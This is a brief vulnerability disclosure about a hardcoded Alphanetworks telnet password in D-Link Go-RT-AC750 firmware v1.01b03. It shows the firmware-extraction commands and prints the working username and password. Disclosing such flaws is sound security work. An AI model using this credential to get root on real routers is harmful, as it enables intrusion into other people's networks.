D-LINK Go-RT-AC750 GORTAC750_A1_FW_v101b03 has a hardcoded password for the Alphanetworks account, which allows remote attackers to obtain root access via a telnet session.
binwalk GORTAC750_A1_FW_v101b03.bin -e
cat './go-rt-ac750_fw_reva_1-01b03_eu_multi_20141017/_GORTAC750_A1_FW_v101b03.bin.extracted/squashfs-root/etc/init0.d/S80telnetd.sh'
Alphanetworks:wrgac18_dlob.hans_ac750